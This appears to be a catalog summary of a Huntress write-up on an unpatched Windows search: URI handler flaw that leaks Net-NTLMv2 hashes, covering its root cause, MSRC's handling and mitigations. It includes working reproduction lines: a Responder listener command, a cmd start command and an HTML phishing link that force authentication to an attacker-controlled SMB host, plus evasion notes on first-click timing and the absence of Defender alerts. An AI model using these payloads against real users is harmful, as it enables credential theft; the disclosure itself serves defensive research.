Skip to content

Back to the catalog

Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix
huntress.comwriteup

Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix

Huntress researcher demonstrates that Windows' search: URI handler leaks a user's Net-NTLMv2 hash via the crumb=location: parameter, exploitable via a single clicked link (e.g. in Edge) or a `start` command with no admin rights or malware needed. The bug mirrors CVE-2026-33829 (Snipping Tool's ms-screensketch: handler, patched by Microsoft in April 2026) since both trace to the same DelegateExecute CLSID (SearchExecute/CLSID_SearchMSExecute in ExplorerFrame.dll), but MSRC closed this report as Moderate severity with no CVE and no fix, citing case-by-case servicing exceptions. The post includes reproduction steps with Responder, notes prior related disclosures by Varonis (search-ms:, 2024) and Trellix (search:, 2023), and recommends mitigations like blocking outbound SMB, enforcing SMB signing, and restricting NTLM.

TL;DR A newly reported Windows search: URI handler bug leaks Net-NTLMv2 hashes via a single clicked link — same root cause as patched CVE-2026-33829, but MSRC declined to issue a CVE or fix it.
Document

What it is

An unpatched NTLM credential-leak in the Windows search: URI handler, disclosed by Huntress. It is the same primitive as CVE-2026-33829 (the Snipping Tool ms-screensketch: bug, CVSS 4.3, patched April 14, 2026), reported to MSRC the day after that patch and closed as "below the servicing bar" — no CVE, no fix. Reproduced on Windows 11 23H2 Build 22631.6199 and 25H2 Build 26200.8524.

How it works

search: and search-ms: are registered separately in HKCR but share the same command line and the same DelegateExecute CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b} — SearchExecute (CLSID_SearchMSExecute) in ExplorerFrame.dll. A crumb=location: parameter pointing at a UNC path makes the shell reach out to that path, triggering NTLM authentication and leaking the victim's Net-NTLMv2 hash, capturable with Responder.

Preconditions / Affected

Standard (non-admin) user, default Defender, no developer mode or AppX. Works via a clicked link with no prompt (tested in Edge) or a typed command. Only the first invocation per logon leaks; subsequent attempts return access-denied until the user logs out and back in — for phishing, the first click is the only one that counts.

What to do

There is no vendor patch. To reproduce/test:

Attacker (Kali):

responder -I eth0 -wv

Victim (cmd):

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

The start "" form with quotes is required — pasting the URI bare into cmd makes & a command separator and the repro appears to fail when it hasn't. Link-click delivery:

<a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>

Detection note: the hash leaves the machine before Windows renders its "Windows cannot access the specified device, path, or file" dialog — the dialog is a receipt, not a block. Zero Defender alerts fire. Any real fix must land in SearchExecute/Explorer, not the URI scheme; patching search-ms: alone would not help.

Caveats

  • Net-NTLMv2 is not the raw password; usefulness (relay vs. offline cracking) depends on target configuration.
  • The crumb=location: leak on search-ms: (Varonis, 2024) and search: as a vector (Trellix, 2023) are prior art; the novelty is bridging them plus the triage-inconsistency story.
  • Per MSRC's own words, servicing of Moderate URI-handler NTLM leaks is "case-by-case" and exception-driven — CVE-2026-33829 (itself rated Moderate) was serviced; this one and two prior Varonis reports were not. Do not expect a fix.
flowchart TD
    A[User clicks search: link] --> B[Shell DelegateExecute]
    B --> C[SearchExecute CLSID in ExplorerFrame.dll]
    D[search-ms: link] --> C
    C --> E[UNC reach-out via crumb=location:]
    E --> F[Net-NTLMv2 hash sent to attacker]
    F --> G[Access-denied dialog shown AFTER leak]

Organisations named here

  • CLSID_SearchMSExecute
  • DelegateExecute
  • MSRC
  • Net-NTLMv2
  • SearchExecute
  • Trellix

CVEs named here

  • CVE-2026-33829

Technologies named here

  • Windows Snipping Tool
  • Responder
  • Windows Search
  • cmd
  • Windows search-ms
  • Windows 11 23H2 Pro
  • Windows 11 25H2
  • ExplorerFrame.dll
  • Microsoft Edge
  • Windows WPA URI handler
  • Windows
  • Windows Defender
  • Kali Linux
  • NTLM
  • Varonis

Techniques named here

  • NTLM credential leakage via URI handler
  • Forced authentication via crumb=location
  • Link-click delivery of malicious URI
  • NTLM relay attack
  • Offline password cracking